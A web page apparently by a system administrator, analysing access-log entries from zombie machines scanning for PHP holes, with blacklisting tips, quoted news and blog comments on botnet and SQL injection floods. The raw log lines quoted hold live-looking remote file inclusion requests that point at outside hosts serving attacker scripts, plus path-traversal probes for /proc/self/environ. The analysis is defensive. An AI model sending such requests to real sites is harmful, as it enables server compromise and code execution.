Website Vulnerabilities Scanning Zombies

PC infected with Remote access Trojans -- RATs -- are typically called zombies. Typically  zombies are harvested via malicious web sites, infected web sites and fishing attacks.

The most primitive form of zombies network usage is the usage of them to scan other computer trying to find certain CGI or PHP vulnerabilities. Such scanning floods web logs to the extent that webadmins have a hard time looking for real things. For example 404 statistics became completely bogus. 

Recently the number of "strange" access record in web logs jumped and it became interesting to analyze the logs and see what those people are doing. Here is one fragment that I have found manually: 

213.195.77.225 - - [23/Jun/2007:06:00:07 -0700] "GET /Lang/Cilorama/c_%3Cwbr%20/%3Elanguage.shtml/str.php?lang=http://zarafshan.ru/uploads/cmd.txt? HTTP/1.1" 406 383 "-" "libwww-perl/5.79"
213.195.77.225 - - [23/Jun/2007:06:00:07 -0700] "GET /str.php?lang=http://zarafshan.ru/uploads/cmd.txt? HTTP/1.1" 406 339 "-" "libwww-perl/5.79"
213.195.77.225 - - [23/Jun/2007:06:00:08 -0700] "GET /Lang/Cilorama/c_%3Cwbr%20/str.php?lang=http://zarafshan.ru/uploads/cmd.txt? HTTP/1.1" 406 364 "-" "libwww-perl/5.79"
213.195.77.225 - - [23/Jun/2007:06:08:12 -0700] "GET /Scripting/Phprama/%3Cwbr%20/%3Ecommand_line_php.shtml/str.php?l=http://zarafshan.ru/uploads/cmd.txt? HTTP/1.1" 406 393 "-" "libwww-perl/5.79"
213.195.77.225 - - [23/Jun/2007:06:08:13 -0700] "GET /str.php?l=http://zarafshan.ru/uploads/cmd.txt? HTTP/1.1" 406 339 "-" "libwww-perl/5.79"
213.195.77.225 - - [23/Jun/2007:06:08:13 -0700] "GET /Scripting/Phprama/%3Cwbr%20/str.php?l=http://zarafshan.ru/uploads/cmd.txt? HTTP/1.1" 406 366 "-" "libwww-perl/5.79"
66.230.197.170 - - [23/Jun/2007:06:25:53 -0700] "GET /str.php?l=http://zarafshan.ru/uploads/cmd.txt? HTTP/1.1" 406 339 "-" "libwww-perl/5.805"
24.117.228.198 - - [23/Jun/2007:06:27:48 -0700] "GET /load_lang.php?_SERWEB[serwebdir]=http://dezzign.ru/echo? HTTP/1.1" 404 168 "-" "libwww-perl/5.803"

One common thing for those records is the usage of libwww.perl. Greping on this string brings us more complete picture reproduced in  Zombies bulletin

Extracting IP addresses gives you the first draft of the "blacklist" and that top dozen can be used to block those rogue addresses from accessing your site. To get such a "dirty dozen" you can use a simple pipe which can be made into a function or shell script:

gzip -cd *.gz | grep 'libwww.perl' | cut -d' ' -f 1 | sort -n | uniq -c | sort -rn | head -12 > libwww.log

Typical sample:

200.175.239.226 - - [08/Jul/2010:00:04:14 -0400] "GET /Lang/c.shtml/zboard/include/write.php//modules/4nAlbum/public/displayCategory.php?basepath=http://internetexplorer8.net/design/myid.jpg? HTTP/1.0" 200 194387 "-" "libwww-perl/5.805"
200.175.239.226 - - [08/Jul/2010:00:04:47 -0400] "GET //modules/4nAlbum/public/displayCategory.php?basepath=http://internetexplorer8.net/design/myid.jpg? HTTP/1.0" 404 168 "-" "libwww-perl/5.805"
200.175.239.226 - - [08/Jul/2010:00:04:47 -0400] "GET /Lang/c.shtml/zboard/include//modules/4nAlbum/public/displayCategory.php?basepath=http://internetexplorer8.net/design/myid.jpg? HTTP/1.0" 200 194387 "-" "libwww-perl/5.805"
196.38.88.188 - - [08/Jul/2010:00:47:11 -0400] "GET /inurl:.de' HTTP/1.0" 404 168 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:00:49:33 -0400] "GET /Utilities/passwd.shtml//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 20471 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:00:49:33 -0400] "GET /Utilities/passwd.shtml//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 20471 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:00:49:34 -0400] "GET //index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 234 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:00:49:34 -0400] "GET //index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 234 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:00:49:34 -0400] "GET /Utilities//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:00:49:34 -0400] "GET /Utilities//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:00:49:37 -0400] "GET /Utilities/passwd.shtml//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 20471 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:00:49:37 -0400] "GET //index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 234 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:00:49:37 -0400] "GET /Utilities//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:00:50:12 -0400] "GET /Tools/Sort/unix_sort_examples_collection.shtml//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 51222 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:00:50:12 -0400] "GET /Tools/Sort/unix_sort_examples_collection.shtml//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 51222 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:00:50:12 -0400] "GET /Tools/Sort//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:00:50:12 -0400] "GET /Tools/Sort//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:00:50:22 -0400] "GET /Tools/Sort/unix_sort_examples_collection.shtml//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 51222 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:00:50:22 -0400] "GET /Tools/Sort//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:00:53:43 -0400] "GET /Access_control/Accounts//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:00:53:43 -0400] "GET //index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 234 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:00:53:43 -0400] "GET /Access_control//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:00:53:54 -0400] "GET /Access_control/Accounts//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:00:53:54 -0400] "GET //index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 234 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:00:53:54 -0400] "GET /Access_control//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:00:53:56 -0400] "GET /Access_control/Accounts//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:00:53:56 -0400] "GET //index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 234 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:00:53:56 -0400] "GET /Access_control//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831"
203.252.71.232 - - [08/Jul/2010:00:55:53 -0400] "GET //pingserver.php HTTP/1.0" 404 168 "-" "libwww-perl/5.805"
66.71.245.122 - - [08/Jul/2010:00:56:47 -0400] "GET //index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 234 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:00:56:47 -0400] "GET //index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 234 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:00:56:47 -0400] "GET //index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 200 234 "-" "libwww-perl/5.831"
200.175.239.226 - - [08/Jul/2010:01:02:03 -0400] "GET /Lang/c.shtml/zboard/include/write.php//modules/4nAlbum/public/displayCategory.php?basepath=http://www.miranda.gov.ve/bombona/xml.txt?? HTTP/1.0" 200 194387 "-" "libwww-perl/5.805"
200.175.239.226 - - [08/Jul/2010:01:02:21 -0400] "GET //modules/4nAlbum/public/displayCategory.php?basepath=http://www.miranda.gov.ve/bombona/xml.txt?? HTTP/1.0" 404 168 "-" "libwww-perl/5.805"
200.175.239.226 - - [08/Jul/2010:01:02:22 -0400] "GET /Lang/c.shtml/zboard/include//modules/4nAlbum/public/displayCategory.php?basepath=http://www.miranda.gov.ve/bombona/xml.txt?? HTTP/1.0" 200 194387 "-" "libwww-perl/5.805"
66.71.245.122 - - [08/Jul/2010:01:05:40 -0400] "GET /Solaris/Reference/etc//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:01:05:40 -0400] "GET /Solaris/Reference//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:01:05:40 -0400] "GET /Solaris/Reference/etc//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:01:05:40 -0400] "GET /Solaris/Reference//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:01:05:48 -0400] "GET /Solaris/Reference/etc//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:01:05:48 -0400] "GET /Solaris/Reference//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831"
66.71.245.122 - - [08/Jul/2010:01:06:15 -0400] "GET /Utilities//index.php?pg=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.0" 404 168 "-" "libwww-perl/5.831"
71.71.54.208 - - [08/Jul/2010:01:20:14 -0400] "GET /DB/mysql.shtml/index2.php?p=http://www.miranda.gov.ve/bombona/xml.txt?? HTTP/1.0" 200 197267 "-" "libwww-perl/5.834"
71.71.54.208 - - [08/Jul/2010:01:20:14 -0400] "GET /DB/index2.php?p=http://www.miranda.gov.ve/bombona/xml.txt?? HTTP/1.0" 404 168 "-" "libwww-perl/5.834"
196.38.88.188 - - [08/Jul/2010:01:23:15 -0400] "GET /Scripting/php.shtml/inurl:.de' HTTP/1.0" 200 208825 "-" "libwww-perl/5.831"
196.38.88.188 - - [08/Jul/2010:01:23:20 -0400] "GET /inurl:.de' HTTP/1.0" 404 168 "-" "libwww-perl/5.831"
196.38.88.188 - - [08/Jul/2010:01:23:20 -0400] "GET /Scripting/inurl:.de' HTTP/1.0" 404 168 "-" "libwww-perl/5.831"
124.217.227.21 - - [08/Jul/2010:01:32:55 -0400] "GET //pingserver.php HTTP/1.0" 404 168 "-" "libwww-perl/5.810"
200.175.239.226 - - [08/Jul/2010:02:27:55 -0400] "GET /Lang/c.shtml/zboard/include/write.php//modules/4nAlbum/public/displayCategory.php?basepath=http://internetexplorer8.net/design/myid.jpg? HTTP/1.0" 200 194387 "-" "libwww-perl/5.805"
200.175.239.226 - - [08/Jul/2010:02:28:00 -0400] "GET //modules/4nAlbum/public/displayCategory.php?basepath=http://internetexplorer8.net/design/myid.jpg? HTTP/1.0" 404 168 "-" "libwww-perl/5.805"
200.175.239.226 - - [08/Jul/2010:02:28:01 -0400] "GET /Lang/c.shtml/zboard/include//modules/4nAlbum/public/displayCategory.php?basepath=http://internetexplorer8.net/design/myid.jpg? HTTP/1.0" 200 194387 "-" "libwww-perl/5.805"
216.193.128.54 - - [08/Jul/2010:03:01:58 -0400] "GET /Scripting/Phprama/command_line_php.shtml////////?cmd&file=http://gosi.lec.co.kr/DB//skin_shop/standard/3_plugin_twindow/myid.jpg HTTP/1.0" 200 245407 "-" "libwww-perl/5.833"
216.193.128.54 - - [08/Jul/2010:03:01:58 -0400] "GET /Scripting/Phprama/command_line_php.shtml////////?cmd&file=http://www.4ceda.org/xsml.jpg? HTTP/1.0" 200 245407 "-" "libwww-perl/5.833"
216.193.128.54 - - [08/Jul/2010:03:01:59 -0400] "GET ////////?cmd&file=http://gosi.lec.co.kr/DB//skin_shop/standard/3_plugin_twindow/myid.jpg HTTP/1.0" 200 234 "-" "libwww-perl/5.833"
216.193.128.54 - - [08/Jul/2010:03:01:59 -0400] "GET ////////?cmd&file=http://www.4ceda.org/xsml.jpg? HTTP/1.0" 200 234 "-" "libwww-perl/5.833"
216.193.128.54 - - [08/Jul/2010:03:01:59 -0400] "GET /Scripting/Phprama////////?cmd&file=http://gosi.lec.co.kr/DB//skin_shop/standard/3_plugin_twindow/myid.jpg HTTP/1.0" 403 586 "-" "libwww-perl/5.833"
216.193.128.54 - - [08/Jul/2010:03:01:59 -0400] "GET /Scripting/Phprama////////?cmd&file=http://www.4ceda.org/xsml.jpg? HTTP/1.0" 403 586 "-" "libwww-perl/5.833"
173.236.131.219 - - [08/Jul/2010:03:31:30 -0400] "GET /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml/admin/install//admin/doeditconfig.php?thispath=http://pastebin.com/raw.php?i=0qvxtQf6? HTTP/1.0" 200 64669 "-" "libwww-perl/5.813"
173.236.131.219 - - [08/Jul/2010:03:31:30 -0400] "GET //admin/doeditconfig.php?thispath=http://pastebin.com/raw.php?i=0qvxtQf6? HTTP/1.0" 404 168 "-" "libwww-perl/5.813"

For blacklisting this request activity that clogs your server’s access and error logs, you can deny then via mod_rewrite and applying regular expression to Apache’s REQUEST_URI variable.

Below are the results of processing of the list from above on a small sample from July 2010 logs:

537 187.45.193.159 
190 70.86.235.162 ns5.btis.co.za
177 212.57.234.23 eu0303.keele.netcentral.co.uk
171 66.45.240.106 pachecotecnologia.com.br
153 64.207.204.37 server.mynethost.com
151 74.55.73.74 server.cepublishing.com
142 77.221.130.17 srv017.infobox.ru
136 188.165.209.176 ns210881.ovh.net
129 94.23.213.213 ns304631.ovh.net
114 212.158.160.121 ns304631.ovh.net
106 78.41.204.220 savade.colocated.redunix.net
 99 91.121.132.97 ns201526.ovh.net

Dr. Nikolai Bezroukov

NEWS CONTENTS

• 20120821 : Smarter zombies escape filters The Australian by Karen Dearne ( November 13, 2007 ,Australian IT )
• 20120821 : Recent SQL Injection Attacks against Server - Rick Strahls Web Log ( Recent SQL Injection Attacks against Server - Rick Strahl's Web Log, )
• 20100811 : Zombies with php files scanners installed of the day ;-) ( Aug 11, 2010 )
• 20100731 : Top zombies with php files scanners installed for July 2010 ( Jul 31, 2010 )
• 20100731 : Scanning attempts for November, 2009 ( )
• 20100731 : John Leyden ( October 20th 2004 , theregister.co.uk )

Old News ;-)

[Aug 21, 2012] Smarter 'zombies' escape filters The Australian by Karen Dearne

November 13, 2007 |Australian IT

SPAMMERS continue to find ways of dodging anti-spam engines and filters to clog our inboxes.

The US is the King Kong of spam, IBM's Internet Security Systems X-Force team saying 13 per cent of the world's spam originated in the US, well ahead of Poland (7.1 per cent) and Russia and Germany, tied in third place at 5.9 per cent each.

Email security specialist Commtouch says spam has reached an all-time high of 95 per cent of all emails.

Of particular concern are new blended threats that pair apparently innocent spam with links to malicious websites.

"Blended spam is increasingly popular as a vehicle for web-based malware attacks," Commtouch's latest email threats report says.

"Zombies send spam messages without the usual virus attachments.

"Instead, they include text of a URL that hyperlinks to a website containing malware.

"The software may attempt to download automatically, in what is known as a drive-by attack, or simply entice users to download it by clicking on the link."

By hosting the malware on websites, virus writers evade antivirus defences and mail transfer agents that screen for suspicious executable files.

As there is no virus attached to the message itself, it appears clean. Other spammers are using phishing methods to entice malware downloads.

"All of these activities use vast zombie botnets. These immense networks of compromised computers are used to launch the blended attacks, to host malware sites and to generate and distribute various forms of attachment spam," Commtouch says.

"Zombies, spam and malware are becoming inescapably intertwined."

The US is the King Kong of zombies as well, with 36 per cent of the global supply, dwarfing Russia at 8 per cent. US sports fans were targeted at the start of the National Football League season in September, with virus writers using blended spam to invite people to download an NFL game tracker.

Website hyperlinks within the messages used varying IP addresses. During a single hour Commtouch identified hundreds of sites.

"The forged NFL website appeared legitimate, complete with logo," it says.

"It contained links to the free tracker and ticket sales, but all links led to a malware file called tracker.exe."

By mid-September, more than 11,000 separate zombie internet protocols were hosting the game sites.

The IP addresses used were dynamic, because they were malware-compromised home computers connected to the internet via internet service providers.

Commtouch said the sites stayed online for only a matter of hours because, in time, most filtering products would block messages containing IP addresses known to be malicious. Arcade games sites are also being used to recruit unsuspecting users' computers.

The sites are well designed and feature familiar game heroes such as Sonic the Hedgehog.

"They look professional and there's nothing obvious to tip off the user that it's actually a malware site," Commtouch says.

"The attack relies on social engineering to get users to voluntarily download the virus because it is something useful or fun."

Recent SQL Injection Attacks against Server - Rick Strahl's Web Log

I have been having the exact same issue with my website.

I handled it little differently, I added HttpModule that checks QueryString for common value in attacker requests ';' and if its there it returns an "401 Access Denied" response to the attacker.

I could do that cause i don't use that character in my query strings so its safe.

Also not a long term solution but a quick-fix that actually helped.

IP filtering was out of the case, cause the attacker-zombies addresses kept changing.

Anyway this is a major waste of bandwidth and cpu-power i hope they will get caught and serve a long-term sentence without internet connection in the prison cell :)

Dave Ward August 09, 2008

Same here. I've had thousands of these over the past day or so, on the server that I host Encosia on.

It's especially pointless against that server, since it's not even running IIS/MSSQL and the .htaccess bounces the requests to WordPress' 404 page sans injection string. Unfortunately though, tt does hammer the CPU to generate that fully templated WordPress page for every 404.

Very annoying. I'm glad I switched hosts last month. My old one would have never handled the added load.

justin

# re: Recent SQL Injection Attacks against Server
by August 09, 2008 @ 6:01 pm
Been hit by these kind of attacks off and on over the years.

Even had people try to use Contact Page as means to spam people.

I strongly suggest getting something like Fortinet FortiGate, it catches most of stuff like this.
Also do URL request checks on length and other odd ball stuff that would be illegal for our site.
In both cases the connection is just dropped. I see no reason to tell the person or computer on the other end what is going on.

If these people would spend their time doing productive things instead of this crap they would be rich and we would be less stressed.

Matt

# re: Recent SQL Injection Attacks against Server
by August 12, 2008 @ 5:58 am

My clients have been seeing these for months. And so once again I get paid to help clean up and patch code. I should send these guys a cut. But no, seriously, it's really been getting aggressive the past couple weeks, to the point where they're scanning multiple sites on my server at once all day long and making a measurable impact.

Plus it floods my monitoring scripts with so much garbage that I have a hard time looking for real things.

[Aug 11, 2010] Zombies with php files scanners installed of the day ;-)

109.86.145.204
64.34.172.171 xeoline.com
70.86.235.162 ns5.btis.co.za
77.246.248.221 ns3.h20.ru

[Jul 31, 2010] Top zombies with php files scanners installed for July 2010

85.255.199.38 hosted.by.hostbasket.com
93.187.141.50 93-187-141-50.profisol.ro
205.251.131.33 s10077.iwsservers.com

213.180.89.75 shwl-0002.s.ipeer.se
83.143.81.162
83.143.81.162 shwl-0002.s.ipeer.se
188.165.217.175 ns211908.ovh.net

217.113.61.155 www.yofej.hu
211.233.11.170
211.233.11.170 www.yofej.hu

72.249.108.140 willow.e3linux.com
95.168.174.31 ns2.safronov.biz
77.79.245.90 p25.progreso.pl

24.173.234.213 rrcs-24-173-234-213.sw.biz.rr.com
219.240.36.36: Non-existent domain
219.240.36.36 rrcs-24-173-234-213.sw.biz.rr.com

195.130.205.27 europrojects.org
216.14.125.163 server.yeshuasharvest.org
180.151.249.166

Scanning attempts for November, 2009

Filter .php$: 442 different pages-url Total: 4267 different pages-url Viewed Average size Entry Exit /index.php 257 234 Bytes 48 100 //index.php 146 234 Bytes 44 38 /Scripting/Phprama/php_debugging.shtml/common/db.php 117 95.07 KB 45 9 /Scripting/php.shtml/common/db.php 111 207.67 KB 8 45 /errors.php 101 234 Bytes 31 27 /Malware/Malicious_web/index.php 92 178 Bytes 16 16 /Malware/Malicious_web/Bulletin/index.php 71 178 Bytes 4 29 /Malware/index.php 51 178 Bytes 6 6 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 40 63.59 KB 9 2 /Malware/Malicious_web/errors.php 38 178 Bytes 12 17 /Lang/Javarama/Websphere/index.shtml/appserv/main.php 37 38.60 KB 25 23 /WWW/alternatives_to_adobe_products.shtml/accounts/inc/include.p... 28 142.60 KB 7 7 /Net/Netutils/netcat.shtml/s_loadenv.inc.php 27 66.84 KB 15 3 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 27 63.59 KB 17 16 /Scripting/Phprama/php_debugging.shtml/errors.php 26 95.07 KB 8 6 /Tools/dd.shtml/s_loadenv.inc.php 24 191.04 KB 2 11 /Scripting/php.shtml/index.php 24 207.67 KB 10 6 /Security/IDS/Snort/snort_related_perl_scripts.shtml/include/edi... 23 97.94 KB 14 11 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 23 63.59 KB 4 1 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 21 63.59 KB 4 9 //errors.php 20 234 Bytes 11 3 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 20 57.86 KB 11 7 /WWW/blogs.shtml/skin/salz_gallery/ask_password.php 19 445.79 KB 11 11 /Malware/Malicious_web/Bulletin/errors.php 16 178 Bytes 1 7 /Scripting/Phprama/php_debugging.shtml/playing.php/common/db.php 16 95.07 KB 6 /Scripting/php.shtml/port.php 15 207.67 KB 11 2 /Scripting/php.shtml/include.php 15 207.67 KB 6 5 /Scripting/Phprama/command_line_php.shtml/index.php 14 239.53 KB 4 3 /DB/index.shtml/includes/database.php 13 283.20 KB 2 /Solaris/oss_for_solaris.shtml/load_lang.php 13 197.13 KB 5 3 /Scripting/php.shtml/phpwcms/include/inc_ext/spaw/dialogs/table.... 13 207.67 KB 3 9 /WWW/blogs.shtml/skin/salz_dierectnnormal_gallery/setup.php 13 445.79 KB 6 7 /Net/Netutils/netcat.shtml/netcat/modules/auth.inc.php 12 66.84 KB 2 /Security/port_scan_detectors.shtml/port.php 12 201 Bytes 7 /Scripting/php.shtml/administrator/components/com_joomlaradiov5/... 12 207.67 KB 5 5 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 11 63.59 KB 8 2 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 11 63.59 KB 7 6 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 11 63.59 KB 9 9 /Scripting/index.shtml/includes/database.php 10 266.28 KB /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 9 63.59 KB 3 3 /WWW/Hosting/cheap_hosting_with_ssh_access.shtml/phpAdsNew/view.... 9 120.61 KB 4 3 /Lang/java.shtml/include/_bot.php 9 426.19 KB 3 /Scripting/php.shtml/station/playing.php/playing.php/common/db.p... 8 207.67 KB 2 /Tools/index.shtml/index.php 8 119.56 KB 3 /Internals/kernel_modules.shtml/modules/xoopsgallery/upgrade_alb... 8 37.60 KB 1 1 /WWW/ssi.shtml/includes/search.php 8 30.42 KB 3 /Xwindows/VNC/vnc_on_linux.shtml/bbs/bbs/tb.php/connect.lib.php 8 128.19 KB 1 /Scripting/Phprama/php_debugging.shtml/station/playing.php/playi... 8 95.07 KB 2 /Tools/dd.shtml/index.php 8 191.04 KB 3 1 /Net/Netutils/netcat.shtml/netcat/modules/forum.inc.php 7 66.84 KB /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 7 63.59 KB 4 4 /WWW/search_engines.shtml/sphider/admin/configset.php 7 146.26 KB 3 3 /Tools/tar.shtml/index.php 7 114.30 KB 2 /Scripting/Phprama/command_line_php.shtml/accounts.php 6 239.53 KB 4 3 /Security/classic_sec_tools.shtml/netcat/modules/auth.inc.php 6 68.38 KB 1 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 6 63.59 KB 4 4 /Solaris/oss_for_solaris.shtml/load_phplib.php 6 197.13 KB 1 1 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 6 63.59 KB 2 5 /WWW/search_engines.shtml/index.php 6 146.26 KB 1 1 /Net/Netutils/netcat.shtml/index.php 6 66.84 KB 2 2 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 6 63.59 KB 5 5 /WWW/ssi.shtml/home/conlib/local.php 6 30.42 KB 1 /Scripting/php.shtml/playing.php/common/db.php 6 207.67 KB 5 /Scripting/tcl.shtml/fiber/stats_URL/page.php 5 167.26 KB 2 /Scripting/index.shtml/index.php 5 266.28 KB 3 /Solaris/Security/RBAC/conversion_of_application_accounts_to_rol... 5 125.99 KB 1 2 /WWW/ssi.shtml/includes/kb_constants.php 5 30.42 KB 4 3 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 5 63.59 KB 4 5 /WWW/ssi.shtml/conlib/local.php 5 30.42 KB 1 /Scripting/php.shtml/template.php 5 207.67 KB 1 1 /Security/network_ids.shtml/common/db.php 5 215.87 KB 4 4 /Tools/tr.shtml/comments.php 5 67.23 KB 2 2 /Tools/tr.shtml/admin/index.php 5 67.23 KB 5 5 /Solaris/oss_for_solaris.shtml/php/init.poll.php 4 197.13 KB 4 2 /People/Stallman/prophet.shtml/modules/Calendar/admin/update.php 4 635.71 KB 4 1 /VM/index.shtml/show_news_inc.php 4 192.44 KB 2 /Commercial_linuxes/RHEL/index.shtml/[Time-Assistant_path]/lib/t... 4 194.12 KB 1 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 4 63.59 KB 1 1 /Tools/Find/find_examples.shtml/examples/phonebook.php 4 71.07 KB 4 3 /Lang/Javarama/Websphere/index.shtml/main.php 4 38.60 KB 3 3 /Security/classic_sec_tools.shtml/netcat/modules/forum.inc.php 4 68.38 KB /Lang/index.shtml/modules/Calendar/admin/update.php 4 224.64 KB 1 1 /VM/suse_on_microsoft_virtual_pc.shtml/show_news_inc.php 4 78.13 KB 2 /Tools/dd.shtml/e404.php 4 191.04 KB /Net/Netutils/netcat.shtml/modules/forum.inc.php 4 66.84 KB 2 /WWW/Hosting/cheap_hosting_with_ssh_access.shtml/shoutbox/expand... 4 120.61 KB 1 1 /Net/Application_layer/NIS/nis_netgroups.shtml/index.php 4 59.98 KB 1 /WWW/Webservers/apache_security.shtml/nota.php 4 57.75 KB 1 1 /Solaris/Security/Bulletin/hardening2003.shtml/login.php 4 126.55 KB 2 /Security/IDS/acid.shtml/tools/send_reminders.php 4 156.07 KB 2 2 /Scripting/php.shtml/SSI.php 4 207.67 KB 2 2 /WWW/ssi.shtml/class_item.php 4 30.42 KB 1 /Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 4 63.59 KB 1 /Editors/Vimorama/Bulletin/vimorama2003.shtml/surveys/survey.inc... 4 26.93 KB 1 1 /DB/oracle.shtml/includes/database.php 4 84.01 KB 1 /Solaris/oss_for_solaris.shtml/index.php 4 197.13 KB 2 2 /Scripting/python.shtml/xmlrpc.php 4 443.09 KB 2 4 /Scripting/php.shtml/administrator/components/com_webring/admin.... 4 207.67 KB 2 1 /Security/classic_sec_tools.shtml/modules/forum.inc.php 4 68.38 KB 2 /OFM/Bulletin/OFM_bulletin_2006.shtml/errors.php 3 57.16 KB 2 /Scripting/Shellorama/Bulletin/shellorama2004.shtml/index.php 3 74.20 KB 2 1 /WWW/apache.shtml/index.php 3 21.88 KB 1 /Net/Netutils/netcat.shtml/s_e404.inc.php 3 66.84 KB /Malware/Malicious_web/zombies.shtml/load_lang.php 3 8.64 KB 1 2 /WWW/blogs.shtml/skin/salz_default_gallery/setup.php 3 445.79 KB 2 3 /Tools/tr.shtml/cmd/product_info.php/products_id/1622/shop_conte... 3 67.23 KB 2 /Scripting/Phprama/php_debugging.shtml/skins/advanced/advanced.p... 3 95.07 KB 3 3 /Scripting/Phprama/command_line_php.shtml/accounts/inc/include.p... 3 239.53 KB 2 1 /Tools/tee.shtml/cmd/product_info.php/products_id/1622/shop_cont... 3 37.30 KB 2 /OSS/mindcraft_fiasco.shtml/include/_bot.php 3 50.64 KB 3 /Net/Netutils/netcat.shtml/modules/auth.inc.php 3 66.84 KB 1 /Commercial_unixes/AIX/aix_open_source.shtml/bemarket/postscript... 3 259.74 KB 2 1 /Admin/index.shtml/admin/doeditconfig.php 3 232.74 KB 2 2 /Scripting/php.shtml/s_loadenv.inc.php 3 207.67 KB 2 2 /Scripting/php.shtml/modules/xoopsgallery/init_basic.php 3 207.67 KB 2 2 